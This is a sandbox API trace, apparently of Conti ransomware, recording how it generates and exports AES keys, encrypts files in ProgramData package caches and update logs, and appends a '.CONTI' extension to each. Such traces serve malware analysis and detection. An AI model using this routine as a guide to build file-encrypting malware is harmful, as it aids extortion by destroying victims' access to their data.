	[0118.881] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4ee00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b4ee00*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0118.881] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.881] CloseHandle (hObject=0x3d4) returned 1
	[0118.881] GetProcessHeap () returned 0x1720000
	[0118.881] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0118.881] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" | out: lpString1="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi"
	[0118.881] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.CONTI") returned="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.CONTI"
	[0118.881] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi.CONTI" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi.conti")) returned 1
	[0118.881] GetProcessHeap () returned 0x1720000
	[0118.882] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0118.882] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0118.882] GetProcessHeap () returned 0x1720000
	[0118.882] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cdf0 | out: hHeap=0x1720000) returned 1
	[0118.882] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0118.882] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4f298 | out: phKey=0x6b4f298*=0x6b7f1f8) returned 1
	[0118.882] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4f29c, pdwDataLen=0x50ff91c | out: pbData=0x6b4f29c*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0118.882] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm")) returned 0x20
	[0118.883] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0118.966] GetLastError () returned 0x0
	[0118.966] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=626) returned 1
	[0118.966] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x272
	[0118.966] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.966] SetEndOfFile (hFile=0x3d4) returned 1
	[0118.968] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.968] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.968] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4f29c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b4f29c*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0118.969] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.969] ReadFile (in: hFile=0x3d4, lpBuffer=0xee90000, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x272, lpOverlapped=0x0) returned 1
	[0118.969] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x272, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x280) returned 1
	[0118.970] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0118.970] WriteFile (in: hFile=0x3d4, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x280, lpOverlapped=0x0) returned 1
	[0118.970] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.970] WriteFile (in: hFile=0x3d4, lpBuffer=0x6b4f290*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b4f290*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0118.970] SetFilePointer (in: hFile=0x3d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0118.970] CloseHandle (hObject=0x3d4) returned 1
	[0118.970] GetProcessHeap () returned 0x1720000
	[0118.970] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.410] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" | out: lpString1="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"
	[0120.410] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.CONTI") returned="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.CONTI"
	[0120.410] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.CONTI" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.conti")) returned 1
	[0120.411] GetProcessHeap () returned 0x1720000
	[0120.411] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.411] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0120.411] GetProcessHeap () returned 0x1720000
	[0120.411] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5dd0 | out: hHeap=0x1720000) returned 1
	[0120.411] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0120.411] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b504d8 | out: phKey=0x6b504d8*=0x6b7f1f8) returned 1
	[0120.411] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b504dc, pdwDataLen=0x50ff91c | out: pbData=0x6b504dc*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0120.412] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi")) returned 0x20
	[0120.412] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0120.412] GetLastError () returned 0x0
	[0120.412] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=151552) returned 1
	[0120.412] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x25000
	[0120.412] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.412] SetEndOfFile (hFile=0x378) returned 1
	[0120.412] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.412] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.413] WriteFile (in: hFile=0x378, lpBuffer=0x6b504dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b504dc*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0120.414] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.414] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x25000, lpOverlapped=0x0) returned 1
	[0120.418] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x25000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x25010) returned 1
	[0120.418] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.418] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x25010, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x25010, lpOverlapped=0x0) returned 1
	[0120.419] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.419] WriteFile (in: hFile=0x378, lpBuffer=0x6b504d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b504d0*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0120.419] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.419] CloseHandle (hObject=0x378) returned 1
	[0120.419] GetProcessHeap () returned 0x1720000
	[0120.419] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.419] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" | out: lpString1="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi"
	[0120.419] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.CONTI") returned="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.CONTI"
	[0120.419] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.CONTI" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.conti")) returned 1
	[0120.420] GetProcessHeap () returned 0x1720000
	[0120.420] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.420] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0120.420] GetProcessHeap () returned 0x1720000
	[0120.420] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0210 | out: hHeap=0x1720000) returned 1
	[0120.420] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0120.420] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b47bf8 | out: phKey=0x6b47bf8*=0x6b7f1f8) returned 1
	[0120.420] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47bfc, pdwDataLen=0x50ff91c | out: pbData=0x6b47bfc*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0120.421] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab")) returned 0x20
	[0120.421] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0120.421] GetLastError () returned 0x0
	[0120.421] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=5881317) returned 1
	[0120.421] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x59bde5
	[0120.421] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.421] SetEndOfFile (hFile=0x378) returned 1
	[0120.421] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.421] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.421] WriteFile (in: hFile=0x378, lpBuffer=0x6b47bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b47bfc*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0120.435] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.435] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x500000, lpOverlapped=0x0) returned 1
	[0124.184] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x500000, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x500000) returned 1
	[0124.189] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.190] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x500000, lpOverlapped=0x0) returned 1
	[0126.827] ReadFile (in: hFile=0x378, lpBuffer=0xee90000, nNumberOfBytesToRead=0x9bde5, lpNumberOfBytesRead=0x50ff8f4, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesRead=0x50ff8f4*=0x9bde5, lpOverlapped=0x0) returned 1
	[0126.886] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x9bde5, dwBufLen=0x500000 | out: pbData=0xee90000*, pdwDataLen=0x50ff8ec*=0x9bdf0) returned 1
	[0126.887] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.887] WriteFile (in: hFile=0x378, lpBuffer=0xee90000*, nNumberOfBytesToWrite=0x9bdf0, lpNumberOfBytesWritten=0x50ff908, lpOverlapped=0x0 | out: lpBuffer=0xee90000*, lpNumberOfBytesWritten=0x50ff908*=0x9bdf0, lpOverlapped=0x0) returned 1
	[0129.173] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.173] WriteFile (in: hFile=0x378, lpBuffer=0x6b47bf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x50ff920, lpOverlapped=0x0 | out: lpBuffer=0x6b47bf0*, lpNumberOfBytesWritten=0x50ff920*=0x8, lpOverlapped=0x0) returned 1
	[0129.173] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.173] CloseHandle (hObject=0x378) returned 1
	[0129.173] GetProcessHeap () returned 0x1720000
	[0129.173] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.174] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" | out: lpString1="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab"
	[0129.174] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.CONTI") returned="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.CONTI"
	[0129.174] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.CONTI" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab.conti")) returned 1
	[0129.175] GetProcessHeap () returned 0x1720000
	[0129.175] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.175] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0129.175] GetProcessHeap () returned 0x1720000
	[0129.175] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cc850 | out: hHeap=0x1720000) returned 1
	[0129.175] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x50ff944, lpCompletionKey=0x50ff948, lpOverlapped=0x50ff954) returned 1
	[0129.175] CryptGenKey (in: hProv=0x176c2c0, Algid=0x6610, dwFlags=0x1, phKey=0x6b47520 | out: phKey=0x6b47520*=0x17c7ef0) returned 1
	[0129.175] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175e030, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47524, pdwDataLen=0x50ff91c | out: pbData=0x6b47524*, pdwDataLen=0x50ff91c*=0x20c) returned 1
	[0129.176] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.028.etl")) returned 0x2020
	[0129.177] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.028.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.028.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0129.177] GetLastError () returned 0x0
	[0129.177] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x50ff8c8 | out: lpFileSize=0x50ff8c8*=8192) returned 1
	[0129.177] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0129.177] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.177] SetEndOfFile (hFile=0x378) returned 1
	[0129.177] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.178] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.178] WriteFile (in: hFile=0x378, lpBuffer=0x6b47524*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x50ff8d4, lpOverlapped=0x0 | out: lpBuffer=0x6b47524*, lpNumberOfBytesWritten=0x50ff8d4*=0x20c, lpOverlapped=0x0) returned 1
	[0129.179] SetFilePointer (in: hFile=0x378, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
